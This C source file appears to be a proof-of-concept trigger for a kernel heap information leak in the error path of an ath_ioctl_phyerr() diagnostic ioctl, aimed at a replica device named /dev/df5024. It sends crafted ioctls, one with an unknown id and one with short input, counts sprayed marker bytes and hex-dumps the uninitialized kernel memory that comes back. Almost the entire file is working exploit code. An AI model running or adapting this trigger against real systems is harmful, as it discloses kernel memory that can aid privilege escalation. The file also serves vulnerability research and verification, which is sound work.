DF-5024 / df5024_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-5024 trigger โ exercise the ath_ioctl_phyerr() error-path copyout leak * on the sink replica device /dev/df5024. * * usage: df5024_trigger <device> [size] * * 1. memset a user buffer to 0x00 (so we cannot be fooled by stale user data) * 2. ioctl DF5024_IOCTL with ad_id = ATH_DIAG_DYN | 0x123 (unknown id) * -> kernel returns EINVAL but copyout() already overwrote our buffer * with sizeof bytes of UNINITIALIZED kernel M_TEMP heap * 3. report: return code, marker-byte count, first 64 bytes hex * 4. variant B: ad_id = ATH_DIAG_DYN|ATH_DIAG_IN|DFS_SET_THRESH with * ad_in_size = 0 (short-input error path) โ same leak */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> struct df5024_diag { char ad_name[16]; u_int16_t ad_id; u_int16_t ad_in_size; char *ad_in_data; char *ad_out_data; u_int ad_out_size; }; #define DF5024_IOCTL _IOWR('D', 24, struct df5024_diag) #define ATH_DIAG_DYN 0x8000 #define ATH_DIAG_IN 0x4000 #define DFS_SET_THRESH 2 static void dump(const char *tag, const unsigned char *b, size_t n) { size_t i; printf("%s: ", tag); for (i = 0; i < n; i++) printf("%02x", b[i]); printf("\n"); } static int do_ioctl(int fd, struct df5024_diag *ad, unsigned char *buf, size_t size, const char *tag) { int rc, saved; memset(buf, 0x00, size); ad->ad_out_data = (char *)buf; ad->ad_out_size = size; rc = ioctl(fd, DF5024_IOCTL, ad); saved = errno; /* marker statistics: 8-byte pattern "DF5024!!" sprayed into M_TEMP */ size_t i, hits = 0, runs = 0; for (i = 0; i + 8 <= size; i += 8) if (memcmp(buf + i, "DF5024!!", 8) == 0) hits++; for (i = 0; i < size; i++) if (buf[i] != 0x00) { runs++; break; } printf("%s: ioctl rc=%d errno=%d(%s) nonzero=%d marker8=%zu/%zu\n", tag, rc, rc < 0 ? saved : 0, rc < 0 ? strerror(saved) : "ok", (int)runs, hits, size / 8); dump(" first64", buf, 64); return (rc); } int main(int argc, char **argv) { unsigned char *buf; size_t size = 2048; int fd; struct df5024_diag ad; if (argc > 2) size = (size_t)strtoul(argv[2], NULL, 0); buf = malloc(size); if (buf == NULL) { perror("malloc"); exit(1); } fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); exit(1); } memset(&ad, 0, sizeof(ad)); strcpy(ad.ad_name, "ath0_sink"); /* A: unknown ioctl id + DYN -> default: EINVAL, copyout still runs */ ad.ad_id = ATH_DIAG_DYN | 0x123; ad.ad_in_size = 0; ad.ad_in_data = NULL; do_ioctl(fd, &ad, buf, size, "A:unknown-id"); /* B: DFS_SET_THRESH with short input + IN|DYN -> EINVAL, copyout runs */ ad.ad_id = ATH_DIAG_DYN | ATH_DIAG_IN | DFS_SET_THRESH; ad.ad_in_size = 0; /* < sizeof(HAL_PHYERR_PARAM) */ { static char dummy; ad.ad_in_data = &dummy; } do_ioctl(fd, &ad, buf, size, "B:short-set"); /* C: control โ DYN without spray interference, leak still observable */ ad.ad_id = ATH_DIAG_DYN | 0x456; do_ioctl(fd, &ad, buf, size, "C:unknown-id"); close(fd); free(buf); return (0); } |